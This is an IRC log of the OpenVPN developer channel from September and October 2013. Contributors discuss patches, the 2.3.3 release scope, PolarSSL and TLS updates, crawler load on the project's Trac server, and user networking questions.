closed Sat Sep 14 02:35:00 2013 --- Log opened Sun Sep 15 09:46:33 2013 09:46 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 09:46 -!- Irssi: #openvpn-devel: Total of 24 nicks [9 ops, 0 halfops, 2 voices, 13 normal] 09:46 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 09:46 -!- Irssi: Join to #openvpn-devel was synced in 1 secs 11:41 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 11:42 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 11:42 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 11:42 -!- dazo_afk is now known as dazo 12:55 <@pekster> Hmm, gcc has this to say about variable length automatic-scope arrays: http://gcc.gnu.org/onlinedocs/gcc/Variable-Length.html 12:55 <@pekster> Though I'm not sure that's safe to use by everything that might be building openvpn (if it is, it could avoid the need to use the buffer struct with a gc_arena, but I'm not sure that's going to be portable) 12:55 <@vpnHelper> Title: Variable Length - Using the GNU Compiler Collection (GCC) (at gcc.gnu.org) 12:55 <@pekster> I've gone the route of dynamic heap memory in my patch though, which should be the safe & portable option 15:35 <@plaisthos> pekster: at the moment our code is not C++ compiant, so for Visual Studio, we are stuck with C90 15:35 <@plaisthos> don't know if msvc (or cl.exe to be exact) allows dyn arrays 15:36 <@pekster> Yea, I wans't sure either, so I just used the buffer code to deal with it in a way that will work anywhere 15:36 <@pekster> As noted earlier, it's only used during init (and when enable_small=no) so I'm not really worried about it 23:13 < reiffert> moin --- Day changed Mon Sep 16 2013 02:14 <@vpnHelper> RSS Update - tickets: #332: OpenVPN iOS: PolarSSL fail to verify modern certificate chain <https://community.openvpn.net/openvpn/ticket/332> 06:03 <@cron2> plaisthos: what's the difference between v1 and v2 of the custom header patch? 07:03 <@plaisthos> cron2: a) always send the headers (e.g. for 2nd step of http auth) b) don't send the Host: header if the Host: header is in custom headers 07:18 <+krzee> plaisthos, seen this? 07:18 <+krzee> http://android-developers.blogspot.com/2013/08/some-securerandom-thoughts.html 07:18 <@vpnHelper> Title: Some SecureRandom Thoughts | Android Developers Blog (at android-developers.blogspot.com) 07:25 <@plaisthos> krzee: yeah 07:26 <@plaisthos> krzee: https://plus.google.com/117413645169201824775/posts/ayJjTDZdGFR 07:27 <+krzee> oh cool =] 07:27 <@plaisthos> tl;dr of the android debacle is: fork is unsafe, fork+exec should be safe 07:37 <@plaisthos> I really don't want to know what the users are doing: 07:37 <@plaisthos> http-proxy-option AGENT 'Opera/9.80 (J2ME/MIDP; Opera Mini/528.16 (iPhone; U; CPU iPhone OS 3.0 like Mac OS X; en-us; compatible; Googlebot/870; U; en) Presto/2.4.15' 07:37 <@plaisthos> http-proxy-option EXT1 'X-Online-Host: m.twitter.com/' 07:37 <@plaisthos> http-proxy-option EXT2 'Host: m.twitter.com/' 07:38 <@plaisthos> I am an GoogleBot running in Opera J2ME on an iPhone ... 07:57 <@plaisthos> krzee: the linked article in my g+ post explain the fundamental problem 08:03 <+krzee> it is a very good article 08:03 <+krzee> thanks 10:40 -!- raidz_away is now known as raidz 12:32 <@vpnHelper> RSS Update - tickets: #333: OpenVPN iOS ignores 'rport' in .ovpn configuration <https://community.openvpn.net/openvpn/ticket/333> 12:44 <+krzee> it got deleted right before i could say "use --port" 12:44 <@mattock> trac was migrated to another server and DNS switched about 1 minute ago 12:44 <@mattock> if there are any issues with the new server just bug me 12:44 <@mattock> I've done some smoketesting 13:36 <@vpnHelper> RSS Update - tickets: #333: OpenVPN iOS ignores 'rport' in .ovpn configuration <https://community.openvpn.net/openvpn/ticket/333> 14:00 <@pekster> mattock: Maybe the box is just overloaded, but just now access times got pretty bad. a 'GET /333' took 3659ms 14:01 <@mattock> yes, there's something funky going on there 14:01 <@mattock> a few apache processes are almost maxing it out 14:07 <@mattock> hmm, I think bingbot is running through the Git revisions 14:07 <@mattock> microsoft's fault, as usual :P 14:07 <@pekster> Well, does robots.txt tell it not to? :P 14:10 <@mattock> now it should: http://community.openvpn.net/robots.txt 14:14 <@mattock> that probably won't help much right now, but should block future requests to the Git browser 14:23 <@pekster> Minor complaint, but the auth cookie isn't restricted to secure-channels only 14:24 <@pekster> Oh, guess it never used to (the forums was the one that did) 17:15 <@vpnHelper> RSS Update - tickets: #334: OpenVPN for iOS 1.0.1 ignores 'link-mtu' parameter in .ovpn config with tcp mode <https://community.openvpn.net/openvpn/ticket/334> 17:27 <@vpnHelper> RSS Update - tickets: #335: OpenVPN for iOS 1.0.1 route pull not working correctly <https://community.openvpn.net/openvpn/ticket/335> 17:32 <@pekster> Looks like someone should have bought an Android :P 20:09 <+krzee> hahahah 20:29 -!- raidz is now known as raidz_away 20:51 <@pekster> Was any decision reached on keeping non-GPL stuff in the "community.openvpn.net" tracker? 20:56 <+krzee> why not? 20:57 <@pekster> Not at matter of why or why not, but if people with access to the closed-source stuff aren't looking at it it's silly to keep it there 20:57 <+krzee> ahh ya that makes sense 20:57 <@pekster> It came up for discussion before, and an interm solution of "involved people in the commercial non-free side will inquire to see what the powers that be want to do" 20:58 <@pekster> I added categories so I can sort and ignore them, but I don't want "even more crap that'll never get fixed" in a "community" tracker 20:59 <+krzee> ya it sounds like it would make good sense to seperate them if the coding teams are seperated 20:59 <+krzee> easier for everyone 21:00 <@pekster> Sure, except there aren't separate trackers, landing pages, or download pages for them 21:00 <@pekster> GPL downloaders still end up with access-server becuase that's the first link in the dropdown when you're on the "community, open-source" download page 21:00 <+krzee> and i guess by "everyone" i may have forgotten the user 21:00 <@pekster> (thanks Joomla...) 21:01 <@pekster> It's just frustrating. I get that the commercial side (for AS anyway, not the separate "Connect" codebase) is shared, but it's highly confusing to new or first-time users --- Day changed Tue Sep 17 2013 01:17 -!- MeanderingCode_ [~Meanderin@192.241.150.232] has joined #openvpn-devel 01:19 -!- waldner [waldner@openvpn/user/waldner] has quit [Ping timeout: 264 seconds] 01:19 -!- MeanderingCode [~Meanderin@192.241.150.232] has quit [Ping timeout: 264 seconds] 01:21 -!- MeanderingCode_ [~Meanderin@192.241.150.232] has quit [Excess Flood] 01:21 -!- MeanderingCode [~Meanderin@192.241.150.232] has joined #openvpn-devel 04:49 -!- mattock is now known as mattock_afk 06:28 -!- mattock_afk is now known as mattock 10:23 -!- raidz_away is now known as raidz 14:39 <@vpnHelper> RSS Update - testtrac: Fix configure interaction with static OpenSSL libraries <https://github.com/OpenVPN/openvpn/commit/30e358e5de352c8de04a955dc89f33e1710e9b97> || Allow use of NetBeans without saving nbproject/ directory. <https://github.com/OpenVPN/openvpn/commit/550fe1a3a12ad9affbdff6ab1fc3e846f5e8d0b5> || Correct error text when no Windows TAP device is present <https://github.com/OpenVPN/openvpn/commit/2d34628af995676c8ecddb 19:58 -!- raidz is now known as raidz_away 22:14 -!- Netsplit *.net <-> *.split quits: @mattock 22:20 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 22:20 -!- mode/#openvpn-devel [+o mattock] by ChanServ --- Day changed Wed Sep 18 2013 00:46 -!- mattock is now known as mattock_afk 00:50 -!- mattock_afk is now known as mattock 03:57 -!- mattock is now known as mattock_afk 04:30 -!- waldner [waldner@openvpn/user/waldner] has joined #openvpn-devel 08:17 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Quit: Ctrl-C at console.] 08:20 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 08:20 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 08:39 -!- raidz_away [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 264 seconds] 08:41 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 08:41 -!- mode/#openvpn-devel [+o raidz] by ChanServ 10:11 -!- mattock_afk is now known as mattock 16:04 -!- ngharo [~ngharo@nexus.sypherz.com] has quit [Ping timeout: 240 seconds] 17:40 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 17:42 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 17:42 -!- mode/#openvpn-devel [+v krzee] by ChanServ 20:48 -!- raidz is now known as raidz_away --- Day changed Thu Sep 19 2013 03:21 <@plaisthos> http://community.openvpn.net/ 03:21 <@plaisthos> It works! 03:54 <@plaisthos> mattock: shouldn't that redirect to the wiki? 05:56 <@plaisthos> .oO(PolarSSL Patch for feature almost nobody uses ... :)) 06:06 < syzzer> hehe, true. We needed it for an Android project and it was still on the list to send upstream. Your Android app uses --management-external-key too, right? 06:07 <@plaisthos> syzzer: yes :) 06:07 <@plaisthos> syzzer: did you implement your own stuff or did you base it own my stuff 06:08 <@plaisthos> syzzer: I had to work out how the feature worked and what it expexted. PKCS1 padded raw signature is a common thing ;) 06:08 <@cron2> syzzer: is that for 2.3.3, or for "put it in master, let it become part of 2.4"? 06:09 < syzzer> we did our own implementation, had to dive into --management-external-key anyway 06:10 < syzzer> cron: I think it could be in 2.3.3 too, fixes one of the places where polar/openssl builds are unbalanced 06:11 < syzzer> but I can also imagine people arguing it is a new feature 06:14 <@plaisthos> ah kk 06:14 <@plaisthos> this patch brings OpenVPN for Android with PolarSSL a step closer to viability 06:15 <@plaisthos> but OpenVPN for Android is tracking master anyway 06:15 < syzzer> yes, our Android implementation is less feature-rich than yours on the VPN-part (it's part of a bigger suite), but is does work nicely :) 06:16 <@plaisthos> syzzer: I bet your target audience and feature set is different too 06:16 <@plaisthos> Mine tries to full featured OpenVPN on Android 06:18 < syzzer> plaisthos: yes, our solution aims at a managed scenario, using openvpn-nl 06:19 <@plaisthos> Probably no paypal donation in there ;) 06:19 < syzzer> hehe, nope ;) 08:30 <@mattock> plaisthos: re: http://community.openvpn.net redirect... yes, it should and seems to (both http and https) 08:31 <@mattock> redirect to the wiki 08:47 <@plaisthos> mattock: hm for me it shows "It works" page 08:48 <@mattock> plaisthos: interesting, I'll close my browser and see what happens 08:48 <@plaisthos> mattock: I am getting 54.241.178.103 as IP address 08:48 <@mattock> does https:// work properly? 08:49 <@mattock> I didn't get a redirect from http after restarting the browser 08:49 <@plaisthos> mattock: that works 08:49 <@mattock> I think that's how it has always been, but I can definitely fix it 08:50 <@mattock> I think the reason why we even have http had to do with vpnhelper or something like that 08:50 <@mattock> something didn't work quite right over https 08:51 <@mattock> on my todo 10:09 -!- raidz_away is now known as raidz 10:35 <@plaisthos> I have the feeling that socks support is broken in master against ssh socks :/ 10:35 <@plaisthos> Thu Sep 19 17:34:53 2013 TCP connection established with [undef] 10:35 <@plaisthos> Thu Sep 19 17:34:53 2013 recv_socks_reply: TCP port read failed on recv(): Operation timed out (errno=60) 10:36 <@plaisthos> timeout in 0s 10:37 <@plaisthos> nevermind ssh socks+udp does not work 11:18 -!- mattock is now known as mattock_afk 11:47 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 11:47 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 11:47 -!- mode/#openvpn-devel [+v krzee] by ChanServ 12:48 -!- mattock_afk is now known as mattock 16:55 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 16:56 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 16:56 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 16:57 -!- dazo_afk is now known as dazo 20:38 -!- raidz is now known as raidz_away --- Day changed Fri Sep 20 2013 00:23 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has joined #openvpn-devel 03:41 <@cron2> moin 05:19 <@mattock> moin 06:04 <@mattock> uh, baidu bot found a way to access the Trac Git browser and to make community.openvpn.net unresponsive 06:05 -!- mattock is now known as mattock_afk 06:07 -!- mattock_afk is now known as mattock 06:22 -!- mattock is now known as mattock_afk 06:34 -!- mattock_afk is now known as mattock 07:14 <@plaisthos> THE CHINESE ARE ATTACKING US! 07:15 <@plaisthos> (I am sure this 100% political accurate) 07:38 <@ecrist> ping mattock 07:38 <@ecrist> Just read your email. I leave for vacation tomorrow, as well. I'll try to spend time next week migrating the forums, though, and getting things running. 07:39 <@mattock> ecrist: ok, no hurry 07:40 <@ecrist> I actually spent some time last night playing with AWS 07:41 <@ecrist> it's kinda neat, but not very price-competitive with other VPS providers 07:45 <@mattock> yep, it's fairly expensive 07:45 <@mattock> unless you just use it for testing and can shut down the instances after the tests 07:45 <@ecrist> what type of system is the forum instance, and what AMI did you use? 07:45 <@mattock> hmm, I'll check 07:59 <@plaisthos> or if you need a VPN with a US/Japan IPs for a short time and don't want to be ripped of strange VPN providers... 08:00 <@mattock> ecrist: it's currently m1.small, but if performance is not adequate we can upgrade it 08:01 <@mattock> ami-4c8baa09 08:01 <@mattock> it should be the most official FreeBSD image there is 08:01 <@mattock> 9.1 08:09 <@ecrist> ok 08:36 -!- mattock is now known as mattock_afk 08:41 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has quit [Remote host closed the connection] 09:02 -!- mattock_afk is now known as mattock 10:13 -!- raidz_away is now known as raidz 11:08 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 256 seconds] 11:09 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 11:35 <@vpnHelper> RSS Update - tickets: #78: openvpn http-proxy auth issue with profiles <https://community.openvpn.net/openvpn/ticket/78> || #52: No routing after restart of Win 2003 Server on 2.1 <https://community.openvpn.net/openvpn/ticket/52> || #110: openvpnserv.exe does not exit even if there are no openvpn.exe processes <https://community.openvpn.net/openvpn/ticket/110> || #56: WinXP: route setup broken after standby <https://community.open 14:20 -!- mattock is now known as mattock_afk 20:29 -!- raidz is now known as raidz_away 23:23 <@pekster> ecrist: NB: I toyed with the "spot instance" feature, and those are a bit more price-competitive for tasks that are either intermittent or can handle being terminated in the middle of a process. But yea, the retail price on instance compute time often doesn't scale compared to other options, including traditional colo/rack-ownership --- Day changed Sat Sep 21 2013 15:04 -!- novaflash is now known as novaflash_away 15:08 -!- novaflash_away is now known as novaflash 15:27 -!- novaflash is now known as novaflash_away 17:24 -!- novaflash_away is now known as novaflash --- Day changed Sun Sep 22 2013 03:11 -!- novaflash is now known as novaflash_away 03:18 -!- novaflash_away is now known as novaflash 09:04 -!- Sandfly [~ma1com10t@host-92-20-1-117.as13285.net] has joined #openvpn-devel 09:09 < Sandfly> hello all - i am looking for a little help with how i can use the TAP driver .. essentially i would like to find a way of running openvpn using server-bridge (TAP) and some TUN connections at the same time on one machine .. can any body help with some fairly simple questions or a web site with details of suitable TUN/TAP mixed setups ? thankyou. 09:12 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 09:12 < Sandfly> To put this simply: On Windows (XP) is it possible to have a bridged network adaptor run a bridged network using TAP devices AND three TUN adapters on the same NIC 09:13 < Sandfly> If not can I do this by having TWO NICs in one PC ? 09:13 < Sandfly> Theoretically,, both NIC would have to point to the same network .. so routing is most likely to be an issue 09:16 < Sandfly> Also .. on a client - is it possible to have a TAP device and a TUN device use the same NIC at the same time. 09:42 -!- Sandfly [~ma1com10t@host-92-20-1-117.as13285.net] has left #openvpn-devel [] 09:57 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 09:57 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 09:57 -!- dazo_afk is now known as dazo 11:13 <@plaisthos> *sigh* 11:13 <@plaisthos> I had cool idea of always making openvpn log at --verb 5 and then let the user choose the log level she/he wants to see with a slider but attaching the --verb level to each message it not just some 1 line change 12:03 <+krzee> http://paste.kde.org/pa7286985/ 12:03 <+krzee> oops, i mean: 12:03 <+krzee> <xdarklight> evening, is anyone here responsible for "swupdate.openvpn.net"? the debian wheezy stable repo seems to be broken: http://paste.kde.org/pa7286985/ 13:35 * cron2 points at mattock 19:24 -!- Netsplit *.net <-> *.split quits: @pekster 21:17 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 21:17 -!- ServerMode/#openvpn-devel [+o pekster] by brooks.freenode.net --- Day changed Mon Sep 23 2013 08:04 -!- waldner [waldner@openvpn/user/waldner] has quit [Ping timeout: 240 seconds] 08:09 -!- waldner [waldner@openvpn/user/waldner] has joined #openvpn-devel 10:14 -!- raidz_away is now known as raidz 20:16 -!- raidz is now known as raidz_away --- Day changed Tue Sep 24 2013 04:20 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 246 seconds] 04:27 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 04:27 -!- mode/#openvpn-devel [+o pekster] by ChanServ --- Log closed Tue Sep 24 07:46:11 2013 --- Log opened Mon Sep 30 07:22:09 2013 07:22 -!- ecrist_ [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 07:22 -!- Irssi: #openvpn-devel: Total of 23 nicks [10 ops, 0 halfops, 2 voices, 11 normal] 07:22 -!- mode/#openvpn-devel [+o ecrist_] by ChanServ 07:22 -!- Irssi: Join to #openvpn-devel was synced in 1 secs 07:22 -!- You're now known as ecrist 07:22 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 07:26 <@plaisthos> I read the email a second and I have no idea what the user wants .. 07:26 -!- mode/#openvpn-devel [+o ecrist] by plaisthos 07:36 -!- mattock [~yaaic@openvpn/corp/admin/mattock] has quit [Ping timeout: 256 seconds] 08:14 <@plaisthos> int[256][256][256][256] ipaddress = { .... } :D 10:18 -!- raidz_away is now known as raidz 11:44 <@cron2> plaisthos: ouch 12:29 -!- mattock_afk is now known as mattock 15:18 <@mattock> has anyone heard of any problems with tap-windows installation failing silently on Windows 8? 15:18 <@mattock> when using the openvpn-2.3.2-I003 installer 15:33 <@mattock> damn web spiders are teasing community.openvpn.net all the time 15:33 <@mattock> again way too slow 15:35 <@mattock> more disallows added 17:46 -!- chiiph [~chiiph@unaffiliated/chiiph] has left #openvpn-devel ["http://quassel-irc.org - Chat comfortably. Anywhere."] 19:36 <@pekster> No real rush until the next-release is pending, but the file access checks with --chroot patch still needs a review: http://article.gmane.org/gmane.network.openvpn.devel/7873 19:36 <@vpnHelper> Title: Gmane -- PATCH Fix file access checks when using chroot (at article.gmane.org) 19:56 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Read error: Operation timed out] 19:56 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 19:56 -!- mode/#openvpn-devel [+o raidz] by ChanServ 20:31 -!- raidz is now known as raidz_away --- Day changed Tue Oct 01 2013 02:22 <@cron2> pekster: yeah, we've lost traction over the last 6 weeks - no meetings, no review activity, no commits. I plan to pick up the ball again this week 02:27 <@cron2> .oO(and I'm still waiting for that windows-fix-tap-name-with-utf8-chars patch from d12fk...) 02:30 <@pekster> Yea, I figured as much; I just didn't want to forget about it until a few days before the next point-release is fixed since some of these issues are config-breaking from 2.2.2 to 2.3.x 02:33 <@cron2> ack, we have a couple of things that need to go into 2.3.3 - the chroot-file-access thing, the tap/utf8 thing, and a few tickets IIRC 02:38 <@pekster> Was the TLS 1.2 stuff looking at a 2.4 target along with any other "bigger changes" then? 02:39 <@pekster> I know it doesn't bring ECC to the table, but it does open up the door for non-ECC "Suite-B" ciphers 02:39 <@cron2> no, the TLS 1.2 stuff goes into 2.3.3 as well, but that's already in git, so "off my radar" 02:40 <@pekster> Ah, k. Good to know, since that one seems to have generated some varied interest (especially as of late ;) 02:40 <@cron2> 2.3.x gets "bugfixes" and "new features if it's to be expected that these are quite relevant for the majority of the users in the foreseeable future" or so - that is "in the time frame before 2.4 has been widely rolled out" 02:40 <@cron2> the line "will it go into 2.3 or 2.4" is not always clear cut 02:42 <@d12fk> sorry guys my life is difficult these days 02:51 <@cron2> d12fk: well, at least you're still around and nothing catastrophic has happened to you :-) 02:52 <@cron2> (as in "can no longer type" or "dead") 02:52 <@d12fk> it's not that bad 02:53 <@d12fk> but i'm picking up pace again 02:53 <@d12fk> looks bad for the service at the hackathon though 02:54 <@d12fk> why can't i view http://community.openvpn.net/openvpn/ticket/263 02:54 <@vpnHelper> Title: #263 (OpenVPN 2.3.0 disconnect issue when using tcp-server) – OpenVPN Community (at community.openvpn.net) 02:55 <@d12fk> times out for me, bot seems to have no problem obvsly 02:55 <@cron2> it's slow for me, but loads after ~7-8 seconds 02:56 <@d12fk> do you have the ralted commit at hand maybe? 02:56 <@cron2> sure :) 02:56 <@cron2> commit 0eb398501fab9c016b9b6008682c43873c4a6188 (master) 02:56 <@cron2> commit 80b4b1e740de60a7f94132ac4bebcd9474fbe182 (release/2.3) 02:56 <@d12fk> thank you 02:57 <@cron2> it's "stdbool fallout" stuff 02:57 <@d12fk> yeah it's sad 02:57 <@cron2> but that was a plain bug, and should have never been "bool" anyway :) 02:58 <@d12fk> but it "worked" 05:58 -!- ludde [~b@host.62.65.106.155.bitcom.se] has joined #openvpn-devel 05:59 < ludde> With windows VPN, I can connect to my home network (192.168.1.1) and all VPN connections get 192.168.1.150... addresses, I can access all my network services at home when on the VPN. How do I setup OpenVPN in the same way? 06:03 <@cron2> since this is the -devel channel, the answers you're likely to get have to do with changing code and such :-) - this sort of question is really better asked in #openvpn 06:04 < ludde> ok 06:04 <@cron2> (there's a couple of ways to achieve this - tap mode, tun with proxy arp) 06:04 <@cron2> ... or just configure a WINS server 06:04 < ludde> tun with proxy arp sounds similar to what windows vpn does 06:05 < ludde> wins - not so, that'd be samba only 06:06 < ludde> i want to access all my computers at home (with ip addresses ranging from .1 to .20) when i'm at work, just as if I was at home. And then should be able to access the work computer .150 as if it was on the same lan (but i only care about IP based protocols) 06:06 < ludde> on freebsd, it uses the ng0 adapter, so neither tun or tap... maybe it's related anyway 06:08 <@cron2> ng0 sounds like "pptp using netgraph", which effectively is a tun-style thing (l3, not ethernet) 06:08 <@plaisthos> pptp and netgraph does not sound like OpenVPN ;) 06:09 <@cron2> nah, that would be "the windows vpn" 06:10 < ludde> i guess all I need then is for openvpn to hand out ip addresses in the 192.168.1.150- range without dedicating a .1 ip for itself 06:10 < ludde> the openvpn server already uses IP .9 on that subnet 06:11 <@cron2> --server 192.168.1.152 255.255.255.248 06:11 < ludde> does openvpn require its own subnet when running in tun mode? 06:11 < ludde> I want the netmask to be 255.255.255.0 or else the openvpn clients won't be able to ping stuff at home. 06:12 <@cron2> it needs a subnet to configure the tun, but that can overlap LAN interfaces (it will get confusing if you do it otherwise) 06:12 <@cron2> push "route 192.168.1.0 255.255.255.0" 06:12 <@cron2> done 06:12 < ludde> hm ok 06:12 < ludde> sounds promising, i wonder if it really is that simple. 06:13 < ludde> last time i played with openvpn (8+ years ago) i didn't have much luck 06:13 < ludde> :) 06:13 <@cron2> depending on what you use for the server, you might need to manually set up proxy ARP entries so the openvpn server will ARP-reply to clients asking for openvpn-connected IP addresses 06:13 <@cron2> under linux "arp -s ... pub" 06:14 < ludde> why can't openvpn handle the proxy arp itself? 06:14 < ludde> it knows who is connected 06:14 <@cron2> because nobody added that functionality and tested it on the ~8 different server platforms we have today 06:15 <@cron2> it's easily added in --up or --learn-address scripts if you really want to do it dynamic, or in an rc script for the generic case ("static and well-known ranges") 06:15 < ludde> ok 06:15 < ludde> any plans to add lz4 support, as an alternative to lzo? 06:16 <@cron2> and usually folks just use non-overlapping networks, so no need for proxy ARP - all that is needed in such a setup is that the router serving the 192.168.1.x network knows how that it should send the openvpn IPs to the openvpn gateway 06:16 <@cron2> as for lz4 support: actually, yes. 2.4/git master has a new compression framework that can do lzo+snappy, and James proposed to add lz4 to that - not done yet, though 06:17 < ludde> ah ok 06:38 <@plaisthos> the c++ openvpn has lz4 iirc 10:20 -!- mattock is now known as mattock_afk 10:22 -!- raidz_away is now known as raidz 10:45 <@cron2> d12fk: service aside, have you found time to look into the tap adapter name / utf8 issue? 11:24 <@d12fk> cron2: jut superficial and werent able to reproduce it 11:24 <@d12fk> but now the windows box is broken, need to fix that first 12:36 -!- mattock_afk is now known as mattock 12:58 <@vpnHelper> RSS Update - gitrepo: Fix configure interaction with static OpenSSL libraries <https://github.com/OpenVPN/openvpn/commit/30e358e5de352c8de04a955dc89f33e1710e9b97> || Allow use of NetBeans without saving nbproject/ directory. <https://github.com/OpenVPN/openvpn/commit/550fe1a3a12ad9affbdff6ab1fc3e846f5e8d0b5> || Correct error text when no Windows TAP device is present <https://github.com/OpenVPN/openvpn/commit/2d34628af995676c8ecddb9 13:14 <@vpnHelper> RSS Update - gitrepo: Fix configure interaction with static OpenSSL libraries <https://github.com/OpenVPN/openvpn/commit/30e358e5de352c8de04a955dc89f33e1710e9b97> || Allow use of NetBeans without saving nbproject/ directory. <https://github.com/OpenVPN/openvpn/commit/550fe1a3a12ad9affbdff6ab1fc3e846f5e8d0b5> || Correct error text when no Windows TAP device is present <https://github.com/OpenVPN/openvpn/commit/2d34628af995676c8ecddb9 13:34 -!- mrrg [~notabot@delicious.sykosys.jp] has joined #openvpn-devel 13:34 < mrrg> 'lo 13:35 < mrrg> anyone arond that's done openvpn performance/scale testing? 13:35 < mrrg> i notice the wiki has a dead link to a previous tool: https://community.openvpn.net/openvpn/wiki/PerformanceTesting#Deployingclients 13:35 <@vpnHelper> Title: PerformanceTesting – OpenVPN Community (at community.openvpn.net) 13:36 < mrrg> starting investigation of a large scale vpn project, would rather not invent wheels if possible 13:55 <@cron2> d12fk: naming it "my täp adaptor" should be sufficient :) 14:00 <@mattock> mrrg: I'm on this 14:00 <@mattock> I'll give you a link to a tar.gz that'll have the perftest.git sources 14:15 <@mattock> ok, here's a tarball: http://swupdate.openvpn.net/downloads/perftest.tar.gz 14:20 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 14:20 -!- mode/#openvpn-devel [+v krzie] by ChanServ 14:21 <@mattock> link in Trac fixed 14:27 -!- Netsplit *.net <-> *.split quits: @dazo, +krzee, @d12fk, Hes, @plaisthos, @cron2, reiffert, waldner 14:27 -!- krzie is now known as krzee 14:29 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 14:29 -!- Netsplit over, joins: plaisthos 14:49 < mrrg> mattock: great, thx! 15:05 -!- Hes [NaBB24W@tunkki.fi] has joined #openvpn-devel 15:06 -!- waldner [waldner@openvpn/user/waldner] has joined #openvpn-devel 15:08 -!- dazo [~dazo@114.201.9.46.customer.cdi.no] has joined #openvpn-devel 15:08 -!- waldner [waldner@openvpn/user/waldner] has quit [Remote host closed the connection] 15:09 -!- dazo [~dazo@114.201.9.46.customer.cdi.no] has quit [Changing host] 15:09 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 15:09 -!- mode/#openvpn-devel [+o dazo] by ChanServ 15:15 -!- waldner [waldner@openvpn/user/waldner] has joined #openvpn-devel 15:37 -!- cron2_ [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 15:37 -!- mode/#openvpn-devel [+o cron2_] by ChanServ 16:06 -!- milefork [~fork@unaffiliated/milefork] has joined #openvpn-devel 16:11 < milefork> hey guys where can i report a bug? 16:19 <@mattock> milefork: in theory here: https://community.openvpn.net 16:20 <@mattock> in practice I have problems accessing it atm 16:20 <@mattock> not sure if it's a glitch at my end 16:20 < milefork> no it seems that the problem is there :D 16:20 <@mattock> ah, now it loaded 16:21 <@mattock> you will need to register, but that's very easy 16:21 <@mattock> no email loops even, only a captcha 16:21 < milefork> hm maybe my prblem is not a bug but it seems so let me explain it here: 16:22 < milefork> if you have in a ccd config file the push-reset option at the bottom of the config other push entries of the file will be ignored 16:23 < milefork> if the push-reset entry stands at first it will work... 16:31 -!- ludde [~b@host.62.65.106.155.bitcom.se] has quit [Ping timeout: 240 seconds] 16:56 < milefork> im out bye 16:56 -!- milefork [~fork@unaffiliated/milefork] has quit [Remote host closed the connection] 17:38 -!- mattock is now known as mattock_afk 17:41 <@pekster> drive-by bug reporting? :( 19:50 -!- raidz is now known as raidz_away --- Day changed Wed Oct 02 2013 00:31 <@andj> Hi guys, long time since I've been here 00:32 <@andj> Just a heads-up: there's a new version of PolarSSL out, with lots of cool features and a security fix 00:33 <@andj> so upgrade your PolarSSL to 1.2.9... We'll try to get the cool features from 1.3.0 in at some point 00:53 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has joined #openvpn-devel 00:53 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 00:53 <@d12fk> cron2: tried just that, prob did it in the wrong place 01:33 -!- MeanderingCode [~Meanderin@192.241.150.232] has quit [Ping timeout: 240 seconds] 01:35 -!- MeanderingCode [~Meanderin@192.241.150.232] has joined #openvpn-devel 02:42 <@cron2_> andj: any of this acutely relevant to OpenVPN? 03:07 -!- mattock_afk is now known as mattock 03:16 <@andj> cron2_: yeah, in the sense that a PolarSSL user could theoretically lose his private key 03:16 <@andj> But there's no impact in the OpenVPN code 03:16 <@andj> Version 1.3.0 is awesome though, featurewise 03:16 <@andj> So I hope we have some time to integrate that into OpenVPN soon 03:16 <@andj> especially GCM and EC support 03:17 * cron2_ smells a 2.4 version coming up somewhat soonish, because that is too heavy for 2.3.3 03:18 <@cron2_> (read: patches for git master, please :) ) 03:23 <@andj> hehe, that's the plan, when syzzer gets back from his holidays 03:24 <@andj> I'm mostly backup nowadays 03:28 <@plaisthos> andj: for gcm, we still the patch from Kenny Root pending 03:29 <@andj> Good point, I guess that's something to look at then as well 03:30 <@andj> I hope to do a lot of stuff in that direction before/during the 15-nov hackaton 03:30 <@cron2_> please :) 10:19 -!- raidz_away is now known as raidz 15:57 < waldner> http://article.gmane.org/gmane.network.openvpn.devel/7899 15:57 <@vpnHelper> Title: Gmane -- PATCH Allow inlining of auth user pass (at article.gmane.org) 15:58 * waldner wears the anti-slaughter suit 20:36 -!- raidz is now known as raidz_away --- Day changed Thu Oct 03 2013 01:44 